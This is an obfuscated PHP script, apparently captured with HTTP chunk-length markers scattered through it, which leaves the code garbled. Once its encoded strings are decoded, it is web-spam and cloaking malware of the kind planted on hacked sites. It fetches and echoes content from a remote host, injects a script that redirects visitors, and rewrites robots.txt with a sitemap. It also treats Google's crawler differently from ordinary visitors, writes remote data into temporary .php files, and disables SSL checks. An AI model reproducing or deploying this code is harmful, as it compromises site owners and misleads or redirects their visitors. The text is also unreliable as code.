1 < 7 ?php 7 goto vd 8 mFf; QZ7 8 7P: func 8 tion ens 9 ure_robot 9 s_sitemap d ($sitemapLine c ) { $robots 8 = rtrim( 7 $_SERVE 8 R["\104\ b x4f\x43\x55 b \115\105\x4 9 e\124\x5f 12 \122\x4f\x4f\124"] a , "\x2f\13 e 4") . "\x2f\16 a 2\157\x62\ e x6f\164\163\x2 d e\164\x78\x74 8 "; if (! 9 file_exis f ts($robots)) { b @file_put_c f ontents($robots d , "\125\x73\x 26 65\x72\55\x61\147\x65\156\164\72\x20\5 c 2\xa\x41\x6c e \154\x6f\x77\x e 3a\x20\x2f\xa" 12 . $sitemapLine, L 7 OCK_EX) 8 ; } else f { $c = @file_g 1a et_contents($robots); if ( d $c === false 8 || strpo 14 s($c, $sitemapLine) 37 === false) { @file_put_contents($robots, $sitemapLine, 8 FILE_APP 12 END | LOCK_EX); } c } } goto DHs 8 L3; babZ 8 J: $doma d in = trim(get 8 CurlFast b ($jd . "\x6 13 7\x65\164\x64\x6f\1 e 55\141\x69\x6e d \x32\56\141\x 15 73\160\x78\x3f\162\15 d 6\x64\x3d\61\ d x26\x69\x70\7 c 5" . $ip)); b goto eXwce; 6 XWL_w d : $get = filt a er_input_a 8 rray(INP b UT_GET, FIL 7 TER_SAN 8 ITIZE_ST d RING); goto g 8 hIXA; Qm 8 NxK: out f put_sitemap_and 15 _exit($sitemapLine, $ 8 http_typ e e); goto Sda4b 9 ; B2cYK: 9 $ip = $kk 8 !== '' a ? "\66\x36 d \56\62\64\x39 f \56\x38\62\x2e\ b x38" : get_ 8 real_ip( 12 ); goto babZJ; eaU 11 B7: $http_type = 6 !empty 1d ($_SERVER["\110\124\x54\x50\x 7 53"]) & 10 & $_SERVER["\x48 12 \x54\x54\120\123"] d !== "\157\14 12 6\146" ? "\x68\x74 14 \x74\x70\163\x3a\x2f c \57" : "\150 14 \164\164\160\x3a\57\ d 57"; goto QLl c hb; vdmFf: e 9 rror_repo 7 rting(0 12 ); goto XWL_w; rS9 10 s0: if (!empty($ c get["\x66"]) e ) { $sp = expl 19 ode("\x49", $get["\146"]) a ; if (coun 13 t($sp) === 2) { $sz a = $sp[0]; e $iid = $sp[1] e ; } } goto djE 8 41; UV4q 16 2: if ($kk !== '' && p 15 reg_match("\x2f\x5e\1 b 33\x41\55\1 c 32\141\x2d\1 f 72\60\x2d\x39\x 9 5d\53\x24 10 \57", $kk)) { $r 8 emote = 38 getCurlFast($jd . "\x67\x65\x74\144\x6f\155\141\x69\x6e\ f 62\56\x61\163\x f 70\170\x3f\x72\ 1c 156\144\75\62\46\x6b\153\x3d 16 " . $kk); if (!empty($ f remote)) { echo d $remote; die 13 ; } } goto xI3e6; V f Tcyq: function 3b get_real_ip() { $keys = array("\110\x54\x54\120\x5f\103\x46 16 \x5f\103\x4f\116\x4e\1 e 05\x43\124\111 c \116\107\137 15 \x49\120", "\110\x54\ 14 124\120\x5f\x58\137\ e 122\x45\101\x4 16 c\137\111\120", "\110\ 13 124\124\x50\x5f\130 12 \137\x46\117\x52\1 2 27 f \101\x52\x44\x4 13 5\x44\x5f\106\x4f\x 17 52", "\x48\x54\124\120\ 11 137\103\114\111\1 16 05\x4e\x54\137\x49\x50 13 ", "\122\x45\115\11 11 7\124\105\137\101 12 \104\x44\x52"); fo 9 reach ($k d eys as $k) { 16 if (!empty($_SERVER[$k 1e ])) { $ip = $_SERVER[$k]; if ( f strpos($ip, "\5 17 4") !== false) { $ip = 16 trim(explode("\x2c", $ b ip)[0]); } e if (filter_var 11 ($ip, FILTER_VALI 7 DATE_IP b )) { return 17 $ip; } } } return "\x3 f 1\x32\x37\56\x3 f 0\56\60\56\x31" d ; } goto zBNc 7 7; wZIG 3d m: function output_sitemap_and_exit($sitemapLine, $http_type) 2d { ensure_robots_sitemap($sitemapLine); echo b "\74\x64\15 e 1\166\x20\163\ 10 164\171\x6c\x65\ 12 75\47\x74\145\x78\ e 164\x2d\x61\15 e 4\151\147\156\ 13 72\x63\x65\156\164\ 14 x65\x72\x3b\x70\x61\ 10 x64\x64\151\x6e\ d 147\x3a\61\x3 12 0\x70\170\40\x30\x f 3b\x27\x3e\xa\x 1c 20\x20\40\x20\40\x20\x20\40\ 1a 40\x20\x20\x20\x3c\141\x20 11 \150\162\145\146\ 12 75\42{$http_type}{ 20 $_SERVER["\x48\x54\124\120\137\1 1e 10\117\x53\124"]}{$_SERVER["\x 12 53\x43\x52\x49\120 14 \x54\137\x4e\x41\x4d c \105"]}\77\x c 77\75" . dat 10 e("\131\155\144\ 10 110\x69") . "\x2 12 2\x20\x74\141\162\ 15 x67\145\164\x3d\x22\x 14 5f\x62\x6c\141\156\1 10 53\42\40\162\x65 17 \x6c\x3d\x22\x6e\157\x6 13 6\x6f\x6c\154\157\1 d 67\x22\76\123 15 \151\164\x65\x6d\x61\ e x70\x3c\57\x61 2a \76\12\40\40\x20\x20\40\40\x20\40\x20\x20\ 12 x3c\x2f\144\x69\x7 e 6\76"; die; } 11 goto UV4q2; zBNc7 20 : function getCurlFast($url) { $ e cached = cache 12 _get($url); if ($c 21 ached !== false) { return $cached a ; } $data 1a = ''; if (function_exists( 10 "\143\165\x72\15 14 4\x5f\151\156\x69\x7 e 4")) { $ch = c 15 url_init($url); curl_ d setopt_array( e $ch, array(CUR 7 LOPT_RE 7 TURNTRA 7 NSFER = 8 > true, e CURLOPT_CONNEC 8 TTIMEOUT 1b => 5, CURLOPT_TIMEOUT => 8 e , CURLOPT_SSL_ 8 VERIFYPE 21 ER => false, CURLOPT_SSL_VERIFYHO 18 ST => false, CURLOPT_FOL 8 LOWLOCAT 17 ION => false, CURLOPT_U c SERAGENT => 11 "\x4d\157\172\151 10 \154\x6c\141\57\ e 65\x2e\60")); 11 $data = curl_exec 10 ($ch); curl_clos 15 e($ch); } if (empty($ 11 data) && ini_get( 16 "\x61\154\154\157\167\ 19 137\165\x72\154\137\146\1 16 57\x70\x65\156")) { $c 9 ontext = 10 stream_context_c e reate(array("\ 10 x68\164\x74\x70" 18 => array("\x74\x69\x6d\ 10 145\157\x75\164" 17 => 8, "\x68\x65\x61\14 10 4\145\x72" => "\ 21 125\x73\x65\x72\x2d\101\x67\x65\x 10 6e\164\x3a\x20\x 22 4d\157\172\151\154\154\141\x2f\65\ d 56\60\xd\xa") f , "\x73\x73\x6c 1d " => array("\x76\145\162\x69\ d 146\171\x5f\x 1b 70\x65\145\x72" => false, " 17 \166\x65\x72\151\146\x7 15 9\137\x70\x65\x65\162 14 \x5f\156\141\x6d\145 17 " => false))); $data = 20 @file_get_contents($url, false, 1e $context); } if (!empty($data) 13 ) { cache_set($url, 17 $data); } return $data e ; } goto Frs4L 6 ; C4aA 1b 0: if (!empty($iid)) { $str 15 = getCurlFast($hyzhd e y . "\x3f\151\ 11 x69\144\x3d{$iid} 10 "); echo str_rep 13 lace(array("\147\x6 14 7\x67\147\x67", "\x5 17 9\x59\131\131\131", "\1 16 30\130\130\131\x59\131 e ", "\xe5\275\2 b 23\345\211\ e x8d\125\122\x4 16 c", "\125\x55\125\x55\ f x55"), array($s f z, get_url_info 16 (), get_url_info("\142 22 \x61\x73\145"), get_url_info("\146 20 \165\x6c\154"), get_url_info("\1 11 56\157\x5f\x77\x7 f 7\167")), $str) 16 ; die; } goto wZIGm; m a EfJ2: $kk 9 = isset($ 11 get["\153\x6b"]) 13 ? trim($get["\153\1 11 53"]) : ''; goto b B2cYK; qVAP 8 R: $surl 12 = $jd . "\x73\61\ 11 62\x31\x32\x2e\x6 17 1\x73\160\x78"; goto jj 7 w58; fD c KhA: $sz = $ 15 iid = ''; goto rS9s0; 16 djE41: if (!empty($sz 18 )) { $jd = getCurlFast(" 15 {$http_type}{$vurl}\6 23 3\153\147\56\141\x73\160\x78\x3f\16 10 3\172\x3d" . url c encode($sz)) 3a ; } else { $jd = getCurlFast("{$http_type}{$vurl}\63\x6b\1 1b 47\56\x61\x73\160\x78\x3f\1 16 70\171\x3d{$http_type} 2d "); $sz = getCurlFast("{$http_type}{$vurl}\x3 19 3\153\147\56\x61\163\160\ 12 170\77\152\x64\x3d 17 " . urlencode($jd)); } b goto fl0Mc; 15 jjw58: $sitemapLine 15 = "\123\151\x74\145\x 10 6d\141\x70\72\40 28 {$http_type}{$_SERVER["\x48\124\x54\x50\ 37 137\110\117\x53\124"]}{$_SERVER["\x53\x43\122\111\x50\1 13 24\x5f\116\101\x4d\ 15 x45"]}\77\167\x3d" . 1a date("\131\155\144\x48\151 12 ") . "\12"; goto Q 1a Z77P; Frs4L: function get_ 10 url_info(string 16 $type = "\144\x6f\155\ 10 x61\x69\x6e") : e string { $host 1f = $_SERVER["\x48\x54\x54\120\1 11 37\x48\117\123\x5 f 4"] ?? ''; if ( 14 $type === "\156\157\ 1b 137\x77\x77\167") { return 18 preg_replace("\x2f\x5e\x 12 77\167\x77\134\56\ c 57\151", '', e $host); } $pr 6 otocol 4a = !empty($_SERVER["\110\124\x54\x50\123"]) && $_SERVER["\x48\x54\x54\120\ 11 x53"] !== "\x6f\1 1b 46\x66" ? "\x68\x74\164\x70 18 \x73\x3a\57\57" : "\150\ 12 x74\x74\160\72\x2f a \57"; $bas 15 e = $protocol . $host 23 ; if ($type === "\142\141\x73\145") 17 { return $base; } if ( 17 $type === "\x66\165\154 19 \154") { return $base . ( 16 $_SERVER["\x52\105\121 10 \125\x45\x53\x54 10 \137\x55\x52\x49 22 "] ?? ''); } return $host; } goto c eaUB7; eXwce 17 : if ($domain !== "\x67 16 \x6f\x6f\147\x6c\145" 17 && !empty($iid)) { $kna a me = urlde 20 code(getCurlFast($jd . "\x67\x6e 1f \56\141\163\x70\170\x3f\x69\x69 1f \x64\x3d" . $iid)); echo "\74\x e 73\143\162\151 14 \160\x74\76\154\157\ 19 x63\x61\x74\151\157\156\7 10 5\42" . $jd . "\ 17 141\x2e\x61\x73\x70\x78 18 \x3f\x63\156\x61\x6d\145 1e \x3d" . urlencode($kname) . "\ 16 46\x75\162\154\75" . $ 1b http_type . $_SERVER["\x48\ 1a 124\x54\120\137\x48\x4f\12 21 3\x54"] . $_SERVER["\123\x43\x52\ 18 111\x50\x54\137\x4e\x41\ 12 115\105"] . "\42\7 19 4\57\163\x63\x72\151\160\ 1a 164\76"; die; } goto C4aA0 1d ; DHsL3: if (!empty($get["\x7 e 7"])) { $param c s = http_bui 7 ld_quer 11 y(array("\x4e\x4f 14 \125\x6d\142\x65\x72 17 " => $get["\116\117\x55 18 \155\142\x65\162"] ?? '' 17 , "\x74" => $get["\x74" 1f ] ?? '', "\143\x6e" => $get["\x 17 63\x6e"] ?? '', "\160\1 13 16\117\125\155" => 2a $get["\x70\116\117\125\x6d"] ?? '', "\143\ 1d 151\x64" => $get["\x63\151\14 20 4"] ?? '', "\155" => $get["\155" 1e ] ?? '')); $str = getCurlFast( d "{$surl}\x3f{ 29 $params}"); echo str_replace(array("\171\ 12 171\x6d\155", "\14 1c 7\x67\147\147\147"), array($ 2c http_type . $_SERVER["\x48\x54\124\x50\x5f\1 22 10\x4f\x53\x54"] . $_SERVER["\123\ 10 103\122\x49\120\ 19 124\x5f\x4e\x41\x4d\x45"] 21 , $sz), $str); die; } goto mEfJ2; 6 XsAcz 19 : function cache_set($key c , $data) { $ 4 file 6 = sys 9 _get_temp 5 _dir( 1f ) . "\x2f\143\x61\x63\150\x65\1 9 37" . md5 19 ($key) . "\x2e\160\150\x7 18 0"; @file_put_contents($ 1e file, $data, LOCK_EX); } goto c VTcyq; QLlhb 12 : $vurl = "\x74\15 10 7\x2e\x6a\147\14 14 1\x6c\154\x73\56\x63 14 \x6f\x6d\x2f"; goto b fDKhA; S2KV 9 F: $is_no 1a _query = empty($_SERVER["\ d x51\x55\105\x 10 52\131\x5f\123\1 12 24\122\111\x4e\x47 e "]); goto zHnC 1c d; xI3e6: if ($kk !== '' && 13 !preg_match("\57\x5 11 e\133\101\55\132\ f x61\55\x7a\60\5 9 5\x39\135 b \53\44\x2f" 44 , $kk)) { output_sitemap_and_exit($sitemapLine, $http_type); } goto 10 S2KVF; fl0Mc: $h 18 yzhdy = $jd . "\x31\x32\ 20 61\62\56\x61\163\x70\x78"; goto c qVAPR; ghIXA 1f : function cache_get($key, $exp 9 ire = 300 31 ) { $file = sys_get_temp_dir() . "\x2f\x63\141\14 1f 3\150\145\137" . md5($key) . "\ e 56\x70\150\160 14 "; if (file_exists($ d file) && time a () - filem 15 time($file) < $expire 23 ) { return file_get_contents($file) 1e ; } return false; } goto XsAcz 12 ; zHnCd: if ($kk = 1d == '' && $is_no_query) { if ( 18 $domain === "\x67\157\15 e 7\x67\x6c\x65" 4e ) { output_sitemap_and_exit($sitemapLine, $http_type); } else { die; } } goto e QmNxK; Sda4b: 2 ?> 0